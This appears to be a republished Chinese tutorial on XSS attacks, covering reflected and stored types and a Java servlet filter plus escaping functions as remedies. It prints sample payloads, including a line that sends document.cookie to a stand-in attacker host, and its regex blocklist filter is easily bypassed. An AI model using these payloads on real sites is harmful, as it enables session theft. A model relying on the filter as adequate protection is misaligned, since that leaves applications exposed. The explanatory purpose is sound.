当前位置:   article > 正文

XSS攻击原理和解决方法_xss攻击怎么解决

xss攻击怎么解决

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

  1. <div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"
  2. code="var a = document.createElement('a');
  3. a.innerHTML= '执行了恶意代码';document.body.appendChild(a);
  4. //这这里执行代码
  5. "></div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

  1. <div>
  2. <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />
  3. </div>

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

  1. http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
  2. 最终反射出来的HTML代码:
  3. <div>
  4. <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
  5. </div>

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

 
http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

  1. var i=document.createElement("img");
  2. document.body.appendChild(i);
  3. i.src = "http://www.hackerserver.com/?c=" + document.cookie;
  4. 1.
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

解决方法

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

在项目的web.xml配置过滤器:

  1. <filter>
  2. <filter-name>XssEscape</filter-name>
  3. <filter-class>XssFilter</filter-class>
  4. </filter>
  5. <filter-mapping>
  6. <filter-name>XssEscape</filter-name>
  7. <url-pattern>/*</url-pattern>
  8. </filter-mapping>

XssFilter实现:

  1. public class XssFilter implements Filter {
  2. @Override
  3. public void init(FilterConfig filterConfig) throws ServletException {
  4. }
  5. @Override
  6. public void doFilter(ServletRequest request, ServletResponse response,
  7. FilterChain chain) throws IOException, ServletException {
  8. chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
  9. }
  10. @Override
  11. public void destroy() {
  12. }
  13. }

XssHttpServletRequestWrapper实现
  1. public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
  2. public XssHttpServletRequestWrapper(HttpServletRequest request) {
  3. super(request);
  4. }
  5. @SuppressWarnings("rawtypes")
  6. public Map<String,String[]> getParameterMap(){
  7. Map<String,String[]> request_map = super.getParameterMap();
  8. Iterator iterator = request_map.entrySet().iterator();
  9. while(iterator.hasNext()){
  10. Map.Entry me = (Map.Entry)iterator.next();
  11. String[] values = (String[])me.getValue();
  12. for(int i = 0 ; i < values.length ; i++){
  13. values[i] = xssClean(values[i]);
  14. }
  15. }
  16. return request_map;
  17. }
  18. public String[] getParameterValues(String paramString)
  19. {
  20. String[] arrayOfString1 = super.getParameterValues(paramString);
  21. if (arrayOfString1 == null)
  22. return null;
  23. int i = arrayOfString1.length;
  24. String[] arrayOfString2 = new String[i];
  25. for (int j = 0; j < i; j++){
  26. arrayOfString2[j] = xssClean(arrayOfString1[j]);
  27. }
  28. return arrayOfString2;
  29. }
  30. public String getParameter(String paramString)
  31. {
  32. String str = super.getParameter(paramString);
  33. if (str == null)
  34. return null;
  35. return xssClean(str);
  36. }
  37. public String getHeader(String paramString)
  38. {
  39. String str = super.getHeader(paramString);
  40. if (str == null)
  41. return null;
  42. str = str.replaceAll("\r|\n", "");
  43. return xssClean(str);
  44. }
  45. private String xssClean(String value) {
  46. //ClassLoaderUtils.getResourceAsStream("classpath:antisamy-slashdot.xml", XssHttpServletRequestWrapper.class)
  47. if (value != null) {
  48. // NOTE: It's highly recommended to use the ESAPI library and
  49. // uncomment the following line to
  50. // avoid encoded attacks.
  51. // value = encoder.canonicalize(value);
  52. value = value.replaceAll("\0", "");
  53. // Avoid anything between script tags
  54. Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>",
  55. Pattern.CASE_INSENSITIVE);
  56. value = scriptPattern.matcher(value).replaceAll("");
  57. // Avoid anything in a src='...' type of expression
  58. scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
  59. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  60. | Pattern.DOTALL);
  61. value = scriptPattern.matcher(value).replaceAll("");
  62. // Avoid anything in a href='...' type of expression
  63. scriptPattern = Pattern.compile("href[\r\n]*=[\r\n]*\\\"(.*?)\\\"",
  64. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  65. | Pattern.DOTALL);
  66. value = scriptPattern.matcher(value).replaceAll("");
  67. // Remove any lonesome </script> tag
  68. scriptPattern = Pattern.compile("</script>",
  69. Pattern.CASE_INSENSITIVE);
  70. value = scriptPattern.matcher(value).replaceAll("");
  71. // Remove any lonesome <script ...> tag
  72. scriptPattern = Pattern.compile("<script(.*?)>",
  73. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  74. | Pattern.DOTALL);
  75. value = scriptPattern.matcher(value).replaceAll("");
  76. // Avoid eval(...) expressions
  77. scriptPattern = Pattern.compile("eval\\((.*?)\\)",
  78. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  79. | Pattern.DOTALL);
  80. value = scriptPattern.matcher(value).replaceAll("");
  81. // Avoid expression(...) expressions
  82. scriptPattern = Pattern.compile("expression\\((.*?)\\)",
  83. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  84. | Pattern.DOTALL);
  85. value = scriptPattern.matcher(value).replaceAll("");
  86. // Avoid javascript:... expressions
  87. scriptPattern = Pattern.compile("javascript:",
  88. Pattern.CASE_INSENSITIVE);
  89. value = scriptPattern.matcher(value).replaceAll("");
  90. // Avoid vbscript:... expressions
  91. scriptPattern = Pattern.compile("vbscript:",
  92. Pattern.CASE_INSENSITIVE);
  93. value = scriptPattern.matcher(value).replaceAll("");
  94. // Avoid onload= expressions
  95. scriptPattern = Pattern.compile("onload(.*?)=",
  96. Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
  97. | Pattern.DOTALL);
  98. value = scriptPattern.matcher(value).replaceAll("");
  99. }
  100. return value;
  101. }
  102. }

二、 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

登录后复制 

可以利用下面这些函数对出现xss漏洞的参数进行过滤
1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
2、htmlentities() 函数,用于转义处理在页面上显示的文本。
3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。

各语言示例:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。

                       如果你对网络安全入门感兴趣,那么你点击这里
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/150319

推荐阅读
相关标签